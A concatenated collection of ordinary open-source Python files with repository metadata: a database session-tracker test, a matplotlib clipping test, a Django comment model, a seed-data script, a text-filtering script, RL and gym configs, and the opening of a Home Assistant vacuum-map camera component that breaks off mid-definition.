session.rollback() assert tracker.uncommitted_changes() == [] @pytest.fixture def expected_changes(self, added_ann_id, changed_ann_id, deleted_ann_id): added_entry = (identity_key(Annotation, (added_ann_id,)), ObjectState.ADDED) changed_entry = ( identity_key(Annotation, (changed_ann_id,)), ObjectState.CHANGED, ) deleted_entry = ( identity_key(Annotation, (deleted_ann_id,)), ObjectState.DELETED, ) return (added_entry, changed_entry, deleted_entry) @pytest.fixture def added_ann_id(self): return generate_ann_id() @pytest.fixture def changed_ann_id(self): return generate_ann_id() @pytest.fixture def deleted_ann_id(self): return generate_ann_id() @pytest.fixture def session(self, db_session, added_ann_id, changed_ann_id, deleted_ann_id): # Populate the DB session with different types of change relative to the # last-committed state. We could use any model object for this purpose # but annotations are the primary object in the system. doc = Document(web_uri="https://example.org") changed = Annotation( id=changed_ann_id, userid="foo", groupid="wibble", document=doc ) deleted = Annotation( id=deleted_ann_id, userid="foo", groupid="wibble", document=doc ) db_session.add(changed) db_session.add(deleted) db_session.commit() changed.text = "changed text" db_session.delete(deleted) added = Annotation( id=added_ann_id, userid="foo", groupid="wibble", document=doc ) db_session.add(added) return db_session @pytest.fixture def tracker(self, db_session): return Tracker(db_session)

30.18018

84

0.678507

from __future__ import unicode_literals from uuid import uuid4 import pytest from sqlalchemy.orm.util import identity_key from h.db.types import _get_urlsafe_from_hex from h.models import Annotation, Document from h.util.session_tracker import Tracker, ObjectState def generate_ann_id(): return _get_urlsafe_from_hex(str(uuid4())) class TestTracker(object): def test_uncommitted_changes_returns_unflushed_changes( self, tracker, session, expected_changes ): added_entry, changed_entry, deleted_entry = expected_changes changes = tracker.uncommitted_changes() assert added_entry in changes assert changed_entry in changes assert deleted_entry in changes def test_uncommitted_changes_returns_flushed_changes( self, tracker, session, expected_changes ): added_entry, changed_entry, deleted_entry = expected_changes session.flush() changes = tracker.uncommitted_changes() assert added_entry in changes assert changed_entry in changes assert deleted_entry in changes def test_uncommitted_changes_does_not_return_committed_changes( self, tracker, session ): session.commit() assert tracker.uncommitted_changes() == [] def test_uncommitted_changes_does_not_return_rolled_back_changes( self, tracker, session ): session.rollback() assert tracker.uncommitted_changes() == [] @pytest.fixture def expected_changes(self, added_ann_id, changed_ann_id, deleted_ann_id): added_entry = (identity_key(Annotation, (added_ann_id,)), ObjectState.ADDED) changed_entry = ( identity_key(Annotation, (changed_ann_id,)), ObjectState.CHANGED, ) deleted_entry = ( identity_key(Annotation, (deleted_ann_id,)), ObjectState.DELETED, ) return (added_entry, changed_entry, deleted_entry) @pytest.fixture def added_ann_id(self): return generate_ann_id() @pytest.fixture def changed_ann_id(self): return generate_ann_id() @pytest.fixture def deleted_ann_id(self): return generate_ann_id() @pytest.fixture def session(self, db_session, added_ann_id, changed_ann_id, deleted_ann_id): doc = Document(web_uri="https://example.org") changed = Annotation( id=changed_ann_id, userid="foo", groupid="wibble", document=doc ) deleted = Annotation( id=deleted_ann_id, userid="foo", groupid="wibble", document=doc ) db_session.add(changed) db_session.add(deleted) db_session.commit() changed.text = "changed text" db_session.delete(deleted) added = Annotation( id=added_ann_id, userid="foo", groupid="wibble", document=doc ) db_session.add(added) return db_session @pytest.fixture def tracker(self, db_session): return Tracker(db_session)

true

1c421d4c0b1c6e259ed2a537e534baf86c9bbbdc

1,603

py

Python

lib/matplotlib/tests/test_offsetbox.py

pmarshwx/matplotlib

12be528dbf2114f7c25abf60de8100cb2d4494af

[ "MIT", "BSD-3-Clause" ]

null

lib/matplotlib/tests/test_offsetbox.py

pmarshwx/matplotlib

12be528dbf2114f7c25abf60de8100cb2d4494af

[ "MIT", "BSD-3-Clause" ]

null

lib/matplotlib/tests/test_offsetbox.py

pmarshwx/matplotlib

12be528dbf2114f7c25abf60de8100cb2d4494af

[ "MIT", "BSD-3-Clause" ]

null

from __future__ import (absolute_import, division, print_function, unicode_literals) import nose from matplotlib.testing.decorators import image_comparison import matplotlib.pyplot as plt import matplotlib.patches as mpatches import matplotlib.lines as mlines from matplotlib.offsetbox import AnchoredOffsetbox, DrawingArea @image_comparison(baseline_images=['offsetbox_clipping'], remove_text=True) def test_offsetbox_clipping(): # - create a plot # - put an AnchoredOffsetbox with a child DrawingArea # at the center of the axes # - give the DrawingArea a gray background # - put a black line across the bounds of the DrawingArea # - see that the black line is clipped to the edges of # the DrawingArea. fig, ax = plt.subplots() size = 100 da = DrawingArea(size, size, clip=True) bg = mpatches.Rectangle((0, 0), size, size, facecolor='#CCCCCC', edgecolor='None', linewidth=0) line = mlines.Line2D([-size*.5, size*1.5], [size/2, size/2], color='black', linewidth=10) anchored_box = AnchoredOffsetbox( loc=10, child=da, pad=0., frameon=False, bbox_to_anchor=(.5, .5), bbox_transform=ax.transAxes, borderpad=0.) da.add_artist(bg) da.add_artist(line) ax.add_artist(anchored_box) ax.set_xlim((0, 1)) ax.set_ylim((0, 1)) if __name__ == '__main__': nose.runmodule(argv=['-s', '--with-doctest'], exit=False)

32.06

75

0.621335

from __future__ import (absolute_import, division, print_function, unicode_literals) import nose from matplotlib.testing.decorators import image_comparison import matplotlib.pyplot as plt import matplotlib.patches as mpatches import matplotlib.lines as mlines from matplotlib.offsetbox import AnchoredOffsetbox, DrawingArea @image_comparison(baseline_images=['offsetbox_clipping'], remove_text=True) def test_offsetbox_clipping(): fig, ax = plt.subplots() size = 100 da = DrawingArea(size, size, clip=True) bg = mpatches.Rectangle((0, 0), size, size, facecolor='#CCCCCC', edgecolor='None', linewidth=0) line = mlines.Line2D([-size*.5, size*1.5], [size/2, size/2], color='black', linewidth=10) anchored_box = AnchoredOffsetbox( loc=10, child=da, pad=0., frameon=False, bbox_to_anchor=(.5, .5), bbox_transform=ax.transAxes, borderpad=0.) da.add_artist(bg) da.add_artist(line) ax.add_artist(anchored_box) ax.set_xlim((0, 1)) ax.set_ylim((0, 1)) if __name__ == '__main__': nose.runmodule(argv=['-s', '--with-doctest'], exit=False)

true

1c421d50e973debea0380ade73241e0e1bcd3193

2,269

py

Python

internal_external_comments/models.py

ortkin/django-internal-external-comments

ea608c34398549ca053d7b50a19cc8f614f91bf5

[ "MIT" ]

null

internal_external_comments/models.py

ortkin/django-internal-external-comments

ea608c34398549ca053d7b50a19cc8f614f91bf5

[ "MIT" ]

null

internal_external_comments/models.py

ortkin/django-internal-external-comments

ea608c34398549ca053d7b50a19cc8f614f91bf5

[ "MIT" ]

null

from django.db import models from django_comments.abstracts import CommentAbstractModel from django_comments.managers import CommentManager from django.contrib.sites.models import Site from django.urls import reverse class InternalExternalCommentManager(CommentManager): def for_site(self, site=None): if site is None: site = Site.objects.get_current() return self.filter(site=site) def valid(self): return self.for_site().filter(is_removed=False, is_public=True) class InternalExternalComment(CommentAbstractModel): INTERNAL = 'internal' EXTERNAL = 'external' INTERNAL_EXTERNAL_CHOICES = ( (INTERNAL, 'Internal'), (EXTERNAL, 'External'), ) internal_external = models.CharField(max_length=8, choices=INTERNAL_EXTERNAL_CHOICES, default=INTERNAL,) objects = InternalExternalCommentManager() class Meta(object): verbose_name = 'Comment' verbose_name_plural = 'Comments' permissions = ( ("can_post_internal", "Can post internal message"), ("can_delete_internal", "Can delete internal message"), ("can_edit_internal", "Can edit internal message"), ("can_view_internal", "Can view internal message"), ("can_delete_external", "Can delete external message"), ("can_edit_external", "Can edit external message"), ) def __str__(self): return "{}: {}".format(self.user or self.user_name, self.comment) @property def is_internal(self): return self.internal_external == self.INTERNAL @property def data(self): return { "pk": self.pk, "comment": self.comment, "user": self.user.username if self.user else "", "object_pk": self.object_pk, "content_type_id": self.content_type_id, "submit_date": str(self.submit_date), } def get_content_object_url(self): """ Get a URL suitable for redirecting to the content object. """ return reverse( "comments-url-redirect", args=(self.content_type_id, self.object_pk) )

32.414286

75

0.619216

from django.db import models from django_comments.abstracts import CommentAbstractModel from django_comments.managers import CommentManager from django.contrib.sites.models import Site from django.urls import reverse class InternalExternalCommentManager(CommentManager): def for_site(self, site=None): if site is None: site = Site.objects.get_current() return self.filter(site=site) def valid(self): return self.for_site().filter(is_removed=False, is_public=True) class InternalExternalComment(CommentAbstractModel): INTERNAL = 'internal' EXTERNAL = 'external' INTERNAL_EXTERNAL_CHOICES = ( (INTERNAL, 'Internal'), (EXTERNAL, 'External'), ) internal_external = models.CharField(max_length=8, choices=INTERNAL_EXTERNAL_CHOICES, default=INTERNAL,) objects = InternalExternalCommentManager() class Meta(object): verbose_name = 'Comment' verbose_name_plural = 'Comments' permissions = ( ("can_post_internal", "Can post internal message"), ("can_delete_internal", "Can delete internal message"), ("can_edit_internal", "Can edit internal message"), ("can_view_internal", "Can view internal message"), ("can_delete_external", "Can delete external message"), ("can_edit_external", "Can edit external message"), ) def __str__(self): return "{}: {}".format(self.user or self.user_name, self.comment) @property def is_internal(self): return self.internal_external == self.INTERNAL @property def data(self): return { "pk": self.pk, "comment": self.comment, "user": self.user.username if self.user else "", "object_pk": self.object_pk, "content_type_id": self.content_type_id, "submit_date": str(self.submit_date), } def get_content_object_url(self): return reverse( "comments-url-redirect", args=(self.content_type_id, self.object_pk) )

true

1c421dabaf6d795cc19ab256b3f39a700a58b938

5,702

py

Python

data.py

markpasc/makerbase

d35bc9da8fc843806465c2159b220cb8ca9234f6

[ "MIT" ]

4

2015-02-12T19:18:11.000Z

2015-07-30T18:45:48.000Z

data.py

markpasc/makerbase

d35bc9da8fc843806465c2159b220cb8ca9234f6

[ "MIT" ]

null

data.py

markpasc/makerbase

d35bc9da8fc843806465c2159b220cb8ca9234f6

[ "MIT" ]

null

from datetime import datetime, timedelta import makerbase from makerbase.models import * """ user: { 'id': 'name': 'avatar_url': 'html_url': <link to person?> } maker: { 'name': 'avatar_url': 'html_url': } project: { 'name': 'description': 'avatar_url': 'html_url': } participation: { <link to person> <link to project> 'role': "140 char description" 'start_year': 2012 'start_month': 0 'end_year': 2012 'end_year': 1 } history: { <link to user> 'action': '[create edit]' 'reason': "140 char description" 'when': <iso8601 timestamp> 'new': { obj data? } } """ def blit(cls, ident): obj = cls.get(ident) if obj is not None: obj.delete() def empty_bucket(cls): keys = cls.get_bucket().get_keys() for key in keys: blit(cls, key) for cls in (Project, Maker, Participation, History): empty_bucket(cls) def now(): somewhen = datetime(2012, 4, 11, 13, 0, 0) while True: yield somewhen.isoformat() somewhen += timedelta(minutes=1) now = now() editor = User( 'github:markpasc', name='Mark Paschal', avatar_url='https://secure.gravatar.com/avatar/30e5bdec1073df6350d27b8145bf0dab?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png', html_url='https://github.com/markpasc', ) editor.save() mlkshk = Project( 'mlkshk', name='MLKSHK', description='A site for sharing pictures.', html_url='http://mlkshk.com/', avatar_url='https://mlkshk.com/r/2NOE', ) mlkshk.save() h = History( action='addproject', reason='new project', when=now.next(), old_data={}, new_data=mlkshk.get_entity_data(), ).add_link(editor, tag='user').add_link(mlkshk, tag='project') h.save() mlkshk.add_link(h, tag='history').save() me = Maker( 'markpasc', name='Mark Paschal', html_url='http://markpasc.org/mark/', avatar_url='https://secure.gravatar.com/avatar/30e5bdec1073df6350d27b8145bf0dab?s=140&d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png', ) me.save() h = History( action='addmaker', reason='new maker', when=now.next(), old_data={}, new_data=me.get_entity_data(), ).add_link(editor, tag='user').add_link(me, tag='maker') h.save() me.add_link(h, tag='history').save() andre = Maker( 'torrez', name='Andre Torrez', html_url='http://torrez.org/', avatar_url='https://si0.twimg.com/profile_images/1788942159/black-log.gif', ) andre.save() h = History( action='addmaker', reason='new maker', when=now.next(), old_data={}, new_data=andre.get_entity_data(), ).add_link(editor, tag='user').add_link(andre, tag='maker') h.save() andre.add_link(h, tag='history').save() amber = Maker( 'amber', name='Amber Costley', html_url='http://ambercostley.com/', avatar_url='https://si0.twimg.com/profile_images/1452719858/twit.jpg', ) amber.save() h = History( action='addmaker', reason='new maker', when=now.next(), old_data={}, new_data=amber.get_entity_data(), ).add_link(editor, tag='user').add_link(amber, tag='maker') h.save() amber.add_link(h, tag='history').save() party = Participation( role='Creator and programmer', start_month=11, start_year=2010, ) party.save() party.add_link(mlkshk, tag='project') party.add_link(andre, tag='maker') party.save() andre.add_link(party, tag='participation') andre.save() mlkshk.add_link(party, tag='participation') mlkshk.save() h = History( action='addparty', reason='worked with andre on that', when=now.next(), old_data={}, new_data=party.get_entity_data(), ).add_link(editor, tag='user').add_link(andre, tag='maker').add_link(mlkshk, tag='project') h.save() andre.add_link(h, tag='history').save() mlkshk.add_link(h, tag='history').save() party = Participation( role='Creator and designer', start_month=11, start_year=2010, ) party.save() party.add_link(mlkshk, tag='project') party.add_link(amber, tag='maker') party.save() amber.add_link(party, tag='participation') amber.save() mlkshk.add_link(party, tag='participation') mlkshk.save() h = History( action='addparty', reason='worked with amber on that', when=now.next(), old_data={}, new_data=party.get_entity_data(), ).add_link(editor, tag='user').add_link(amber, tag='maker').add_link(mlkshk, tag='project') h.save() amber.add_link(h, tag='history').save() mlkshk.add_link(h, tag='history').save() party = Participation( role='Contract API programmer & test writer', start_month=4, start_year=2011, end_month=5, end_year=2011, ) party.save() party.add_link(me, tag='maker') party.add_link(mlkshk, tag='project') party.save() me.add_link(party, tag='participation') me.save() mlkshk.add_link(party, tag='participation') mlkshk.save() h = History( action='addparty', reason='i worked on that', when=now.next(), old_data={}, new_data=party.get_entity_data(), ).add_link(editor, tag='user').add_link(me, tag='maker').add_link(mlkshk, tag='project') h.save() me.add_link(h, tag='history').save() mlkshk.add_link(h, tag='history').save() anildash = Maker( 'anildash', name='Anil Dash', html_url='http://dashes.com/anil/about.html', avatar_url='https://si0.twimg.com/profile_images/1364557668/image_reasonably_small.jpg', ) anildash.save() h = History( action='addmaker', reason='new maker', when=now.next(), old_data={}, new_data=anildash.get_entity_data(), ).add_link(editor, tag='user').add_link(anildash, tag='maker') h.save() anildash.add_link(h, tag='history').save()

21.598485

177

0.659418

from datetime import datetime, timedelta import makerbase from makerbase.models import * def blit(cls, ident): obj = cls.get(ident) if obj is not None: obj.delete() def empty_bucket(cls): keys = cls.get_bucket().get_keys() for key in keys: blit(cls, key) for cls in (Project, Maker, Participation, History): empty_bucket(cls) def now(): somewhen = datetime(2012, 4, 11, 13, 0, 0) while True: yield somewhen.isoformat() somewhen += timedelta(minutes=1) now = now() editor = User( 'github:markpasc', name='Mark Paschal', avatar_url='https://secure.gravatar.com/avatar/30e5bdec1073df6350d27b8145bf0dab?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png', html_url='https://github.com/markpasc', ) editor.save() mlkshk = Project( 'mlkshk', name='MLKSHK', description='A site for sharing pictures.', html_url='http://mlkshk.com/', avatar_url='https://mlkshk.com/r/2NOE', ) mlkshk.save() h = History( action='addproject', reason='new project', when=now.next(), old_data={}, new_data=mlkshk.get_entity_data(), ).add_link(editor, tag='user').add_link(mlkshk, tag='project') h.save() mlkshk.add_link(h, tag='history').save() me = Maker( 'markpasc', name='Mark Paschal', html_url='http://markpasc.org/mark/', avatar_url='https://secure.gravatar.com/avatar/30e5bdec1073df6350d27b8145bf0dab?s=140&d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png', ) me.save() h = History( action='addmaker', reason='new maker', when=now.next(), old_data={}, new_data=me.get_entity_data(), ).add_link(editor, tag='user').add_link(me, tag='maker') h.save() me.add_link(h, tag='history').save() andre = Maker( 'torrez', name='Andre Torrez', html_url='http://torrez.org/', avatar_url='https://si0.twimg.com/profile_images/1788942159/black-log.gif', ) andre.save() h = History( action='addmaker', reason='new maker', when=now.next(), old_data={}, new_data=andre.get_entity_data(), ).add_link(editor, tag='user').add_link(andre, tag='maker') h.save() andre.add_link(h, tag='history').save() amber = Maker( 'amber', name='Amber Costley', html_url='http://ambercostley.com/', avatar_url='https://si0.twimg.com/profile_images/1452719858/twit.jpg', ) amber.save() h = History( action='addmaker', reason='new maker', when=now.next(), old_data={}, new_data=amber.get_entity_data(), ).add_link(editor, tag='user').add_link(amber, tag='maker') h.save() amber.add_link(h, tag='history').save() party = Participation( role='Creator and programmer', start_month=11, start_year=2010, ) party.save() party.add_link(mlkshk, tag='project') party.add_link(andre, tag='maker') party.save() andre.add_link(party, tag='participation') andre.save() mlkshk.add_link(party, tag='participation') mlkshk.save() h = History( action='addparty', reason='worked with andre on that', when=now.next(), old_data={}, new_data=party.get_entity_data(), ).add_link(editor, tag='user').add_link(andre, tag='maker').add_link(mlkshk, tag='project') h.save() andre.add_link(h, tag='history').save() mlkshk.add_link(h, tag='history').save() party = Participation( role='Creator and designer', start_month=11, start_year=2010, ) party.save() party.add_link(mlkshk, tag='project') party.add_link(amber, tag='maker') party.save() amber.add_link(party, tag='participation') amber.save() mlkshk.add_link(party, tag='participation') mlkshk.save() h = History( action='addparty', reason='worked with amber on that', when=now.next(), old_data={}, new_data=party.get_entity_data(), ).add_link(editor, tag='user').add_link(amber, tag='maker').add_link(mlkshk, tag='project') h.save() amber.add_link(h, tag='history').save() mlkshk.add_link(h, tag='history').save() party = Participation( role='Contract API programmer & test writer', start_month=4, start_year=2011, end_month=5, end_year=2011, ) party.save() party.add_link(me, tag='maker') party.add_link(mlkshk, tag='project') party.save() me.add_link(party, tag='participation') me.save() mlkshk.add_link(party, tag='participation') mlkshk.save() h = History( action='addparty', reason='i worked on that', when=now.next(), old_data={}, new_data=party.get_entity_data(), ).add_link(editor, tag='user').add_link(me, tag='maker').add_link(mlkshk, tag='project') h.save() me.add_link(h, tag='history').save() mlkshk.add_link(h, tag='history').save() anildash = Maker( 'anildash', name='Anil Dash', html_url='http://dashes.com/anil/about.html', avatar_url='https://si0.twimg.com/profile_images/1364557668/image_reasonably_small.jpg', ) anildash.save() h = History( action='addmaker', reason='new maker', when=now.next(), old_data={}, new_data=anildash.get_entity_data(), ).add_link(editor, tag='user').add_link(anildash, tag='maker') h.save() anildash.add_link(h, tag='history').save()

true

1c421ddfb599c1e298cfa6ac646ba1826abb9a61

3,595

py

Python

data/filter_dataset.py

KaijuML/dtt-multi-branch

a49850a95034e58d387b9d48c647cfc2b83c45b5

[ "Apache-2.0" ]

8

2021-02-25T08:19:55.000Z

2022-03-12T06:25:36.000Z

data/filter_dataset.py

KaijuML/dtt-multi-branch

a49850a95034e58d387b9d48c647cfc2b83c45b5

[ "Apache-2.0" ]

5

2021-05-20T19:11:58.000Z

2021-07-14T07:46:33.000Z

data/filter_dataset.py

KaijuML/dtt-multi-branch

a49850a95034e58d387b9d48c647cfc2b83c45b5

[ "Apache-2.0" ]

null

""" This scripts filters the references from WikiBIO using our custom token score function For now, only token with a score > 0 are kept. """ from utils import FileIterable, TaggedFileIterable import multiprocessing as mp import argparse import tqdm import os if __name__ == '__main__': parser = argparse.ArgumentParser() group = parser.add_argument_group('How to config paths') group.add_argument('--dest', dest='dest', required=True, help='Where to store the filtered references') group.add_argument('--scores', dest='scores', required=True, help='Each line is (token, score) separated by \\t ' \ 'Sentences are separated by an empty line') group.add_argument('--refs', dest='refs', required=True, help='Reference file. One sentence per line.') group.add_argument('--threshold', dest='threshold', type=float, default=0, help='Only keep tokens with a score <= threshold') group = parser.add_argument_group('Arguments regarding multiprocessing') group.add_argument('--n_jobs', dest='n_jobs', type=int, default=-1, help='number of processes to use. <0 for cpu_count()') group.add_argument('--chunksize', dest='chunksize', type=int, default=10, help='chunksize to use in mp.Pool().imap()' \ 'Change this if you know what you are doing.') args = parser.parse_args() if not 0 <= args.threshold <= 1: raise ValueError('threshold should be between 0 and 1' f'Got {args.threshold}') if not args.chunksize > 0: print('\nWARNING:', 'Expected chunksize to be a non-zero positive integer.', f'Instead got {args.chunksize}.', 'Instead, chunksize=1 will be used') args.chunksize = 1 if os.path.exists(args.dest): print('\nWARNING:', f'{args.dest} already exists, it will be overwritten.', 'Stop the process ASAP to avoid this\n') else: # we use this touch to verify dest is a valid path # so that the script does not run if it's not the case with open(args.dest, mode="w", encoding='utf8') as f: pass references = FileIterable.from_filename(args.refs) scored_references = TaggedFileIterable.from_filename(args.scores, func=lambda x, s: (x, float(s))) zipped_inputs = [ item for item in tqdm.tqdm( zip(references, scored_references), desc='Reading files', total=len(references) ) ] def deal_with_one_instance(zipped_args): ref, scored_ref = zipped_args filtered_ref = list() for token, (_, score) in zip(ref, scored_ref): if score <= args.threshold: filtered_ref.append(token) return ' '.join(filtered_ref) n_jobs = mp.cpu_count() if args.n_jobs < 0 else args.n_jobs print(f'Using {n_jobs} processes, starting now') with open(args.dest, mode="w", encoding='utf8') as f, mp.Pool(processes=n_jobs) as pool: _iterable = pool.imap( deal_with_one_instance, zipped_inputs, chunksize=args.chunksize ) for filtered_reference in tqdm.tqdm( _iterable, total=len(references), desc='Filtering references'): f.write(f'{filtered_reference}\n')

39.505495

92

0.588595

from utils import FileIterable, TaggedFileIterable import multiprocessing as mp import argparse import tqdm import os if __name__ == '__main__': parser = argparse.ArgumentParser() group = parser.add_argument_group('How to config paths') group.add_argument('--dest', dest='dest', required=True, help='Where to store the filtered references') group.add_argument('--scores', dest='scores', required=True, help='Each line is (token, score) separated by \\t ' \ 'Sentences are separated by an empty line') group.add_argument('--refs', dest='refs', required=True, help='Reference file. One sentence per line.') group.add_argument('--threshold', dest='threshold', type=float, default=0, help='Only keep tokens with a score <= threshold') group = parser.add_argument_group('Arguments regarding multiprocessing') group.add_argument('--n_jobs', dest='n_jobs', type=int, default=-1, help='number of processes to use. <0 for cpu_count()') group.add_argument('--chunksize', dest='chunksize', type=int, default=10, help='chunksize to use in mp.Pool().imap()' \ 'Change this if you know what you are doing.') args = parser.parse_args() if not 0 <= args.threshold <= 1: raise ValueError('threshold should be between 0 and 1' f'Got {args.threshold}') if not args.chunksize > 0: print('\nWARNING:', 'Expected chunksize to be a non-zero positive integer.', f'Instead got {args.chunksize}.', 'Instead, chunksize=1 will be used') args.chunksize = 1 if os.path.exists(args.dest): print('\nWARNING:', f'{args.dest} already exists, it will be overwritten.', 'Stop the process ASAP to avoid this\n') else: with open(args.dest, mode="w", encoding='utf8') as f: pass references = FileIterable.from_filename(args.refs) scored_references = TaggedFileIterable.from_filename(args.scores, func=lambda x, s: (x, float(s))) zipped_inputs = [ item for item in tqdm.tqdm( zip(references, scored_references), desc='Reading files', total=len(references) ) ] def deal_with_one_instance(zipped_args): ref, scored_ref = zipped_args filtered_ref = list() for token, (_, score) in zip(ref, scored_ref): if score <= args.threshold: filtered_ref.append(token) return ' '.join(filtered_ref) n_jobs = mp.cpu_count() if args.n_jobs < 0 else args.n_jobs print(f'Using {n_jobs} processes, starting now') with open(args.dest, mode="w", encoding='utf8') as f, mp.Pool(processes=n_jobs) as pool: _iterable = pool.imap( deal_with_one_instance, zipped_inputs, chunksize=args.chunksize ) for filtered_reference in tqdm.tqdm( _iterable, total=len(references), desc='Filtering references'): f.write(f'{filtered_reference}\n')

true

1c421de3392afbd8279bdc95c2597c5b7c2a09fc

1,381

py

Python

examples/Baselines/Halite_competition/torch/config.py

lp2333/PARL

e4bde1f5b7e69c5f8d3ee3a90a647dfe12204bd3

[ "ECL-2.0", "Apache-2.0" ]

3,172

2018-05-22T02:02:29.000Z

2022-03-31T09:14:56.000Z

examples/Baselines/Halite_competition/torch/config.py

BKBK00/PARL

f508bc6085420431b504441c7ff129e64826603e

[ "Apache-2.0" ]

422

2018-05-17T16:58:45.000Z

2022-03-31T02:03:25.000Z

examples/Baselines/Halite_competition/torch/config.py

BKBK00/PARL

f508bc6085420431b504441c7ff129e64826603e

[ "Apache-2.0" ]

794

2018-05-21T18:33:19.000Z

2022-03-30T13:38:09.000Z

# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. config = { # configuration for env "board_size": 21, # configuration for training "episodes": 10000, "batch_size": 128, "train_times": 2, "gamma": 0.997, "lr": 0.0001, "test_every_episode": 100, # configuration for ppo algorithm "vf_loss_coef": 1, "ent_coef": 0.01, # configuration for the observation of ships "world_dim": 5 * 21 * 21, "ship_obs_dim": 6, "ship_act_dim": 5, "ship_max_step": 10000, # the number of halite we want the ships to obtain (e.g K) "num_halite": 100, # the maximum number of ships (e.g M) "num_ships": 10, # seed for training "seed": 123456, # configuration for logging "log_path": './train_log/', "save_path": './save_model/', }

27.078431

74

0.669804

config = { "board_size": 21, "episodes": 10000, "batch_size": 128, "train_times": 2, "gamma": 0.997, "lr": 0.0001, "test_every_episode": 100, "vf_loss_coef": 1, "ent_coef": 0.01, "world_dim": 5 * 21 * 21, "ship_obs_dim": 6, "ship_act_dim": 5, "ship_max_step": 10000, "num_halite": 100, "num_ships": 10, "seed": 123456, "log_path": './train_log/', "save_path": './save_model/', }

true

1c421e40cbc61c50529786cd59cc92e00d2cf13d

143

py

Python

gym-battleship-basic/gym_battleship_basic/__init__.py

xwx1989119/Battleship

518f0211d898c0ed20bf2a14c1b1b5750b371f25

[ "MIT" ]

null

gym-battleship-basic/gym_battleship_basic/__init__.py

xwx1989119/Battleship

518f0211d898c0ed20bf2a14c1b1b5750b371f25

[ "MIT" ]

null

gym-battleship-basic/gym_battleship_basic/__init__.py

xwx1989119/Battleship

518f0211d898c0ed20bf2a14c1b1b5750b371f25

[ "MIT" ]

null

from gym.envs.registration import register register( id='battleshipBasic-v0', entry_point='gym_battleship_basic.envs:BattleshipEnv', )

23.833333

58

0.783217

from gym.envs.registration import register register( id='battleshipBasic-v0', entry_point='gym_battleship_basic.envs:BattleshipEnv', )

true

1c421fb628459617e362cb622c3fe92548a7c650

17,918

py

Python

custom_components/xiaomi_cloud_map_extractor/camera.py

GuyKh/Home-Assistant-custom-components-Xiaomi-Cloud-Map-Extractor

65e0a905fdb6048facdb34cbec40b7ece4fef991

[ "MIT" ]

697

2020-09-30T08:35:58.000Z

2022-03-31T17:14:20.000Z

custom_components/xiaomi_cloud_map_extractor/camera.py

GuyKh/Home-Assistant-custom-components-Xiaomi-Cloud-Map-Extractor

65e0a905fdb6048facdb34cbec40b7ece4fef991

[ "MIT" ]

216

2020-10-01T12:05:24.000Z

2022-03-31T11:35:46.000Z

custom_components/xiaomi_cloud_map_extractor/camera.py

GuyKh/Home-Assistant-custom-components-Xiaomi-Cloud-Map-Extractor

65e0a905fdb6048facdb34cbec40b7ece4fef991

[ "MIT" ]

92

2020-09-30T18:10:19.000Z

2022-03-24T12:15:18.000Z

import io import logging import time from datetime import timedelta from enum import Enum import miio import PIL.Image as Image import voluptuous as vol from homeassistant.components.camera import Camera, ENTITY_ID_FORMAT, PLATFORM_SCHEMA, SUPPORT_ON_OFF from homeassistant.const import CONF_HOST, CONF_NAME, CONF_PASSWORD, CONF_TOKEN, CONF_USERNAME from homeassistant.helpers import config_validation as cv from homeassistant.helpers.entity import generate_entity_id from homeassistant.helpers.reload import async_setup_reload_service from custom_components.xiaomi_cloud_map_extractor.common.map_data_parser import MapDataParser from custom_components.xiaomi_cloud_map_extractor.common.xiaomi_cloud_connector import XiaomiCloudConnector from custom_components.xiaomi_cloud_map_extractor.const import * from custom_components.xiaomi_cloud_map_extractor.dreame.vacuum import DreameVacuum from custom_components.xiaomi_cloud_map_extractor.roidmi.vacuum import RoidmiVacuum from custom_components.xiaomi_cloud_map_extractor.viomi.vacuum import ViomiVacuum from custom_components.xiaomi_cloud_map_extractor.xiaomi.vacuum import XiaomiVacuum _LOGGER = logging.getLogger(__name__) SCAN_INTERVAL = timedelta(seconds=5) DEFAULT_TRIMS = { CONF_LEFT: 0, CONF_RIGHT: 0, CONF_TOP: 0, CONF_BOTTOM: 0 } DEFAULT_SIZES = { CONF_SIZE_VACUUM_RADIUS: 4, CONF_SIZE_IGNORED_OBSTACLE_RADIUS: 3, CONF_SIZE_IGNORED_OBSTACLE_WITH_PHOTO_RADIUS: 3, CONF_SIZE_OBSTACLE_RADIUS: 3, CONF_SIZE_OBSTACLE_WITH_PHOTO_RADIUS: 3, CONF_SIZE_CHARGER_RADIUS: 4 } COLOR_SCHEMA = vol.Or( vol.All(vol.Length(min=3, max=3), vol.ExactSequence((cv.byte, cv.byte, cv.byte)), vol.Coerce(tuple)), vol.All(vol.Length(min=4, max=4), vol.ExactSequence((cv.byte, cv.byte, cv.byte, cv.byte)), vol.Coerce(tuple)) ) PERCENT_SCHEMA = vol.All(vol.Coerce(float), vol.Range(min=0, max=100)) POSITIVE_FLOAT_SCHEMA = vol.All(vol.Coerce(float), vol.Range(min=0)) PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend( { vol.Required(CONF_HOST): cv.string, vol.Required(CONF_TOKEN): vol.All(str, vol.Length(min=32, max=32)), vol.Required(CONF_USERNAME): cv.string, vol.Required(CONF_PASSWORD): cv.string, vol.Optional(CONF_COUNTRY, default=None): vol.Or(vol.In(CONF_AVAILABLE_COUNTRIES), vol.Equal(None)), vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string, vol.Optional(CONF_AUTO_UPDATE, default=True): cv.boolean, vol.Optional(CONF_COLORS, default={}): vol.Schema({ vol.In(CONF_AVAILABLE_COLORS): COLOR_SCHEMA }), vol.Optional(CONF_ROOM_COLORS, default={}): vol.Schema({ cv.positive_int: COLOR_SCHEMA }), vol.Optional(CONF_DRAW, default=[]): vol.All(cv.ensure_list, [vol.In(CONF_AVAILABLE_DRAWABLES)]), vol.Optional(CONF_MAP_TRANSFORM, default={CONF_SCALE: 1, CONF_ROTATE: 0, CONF_TRIM: 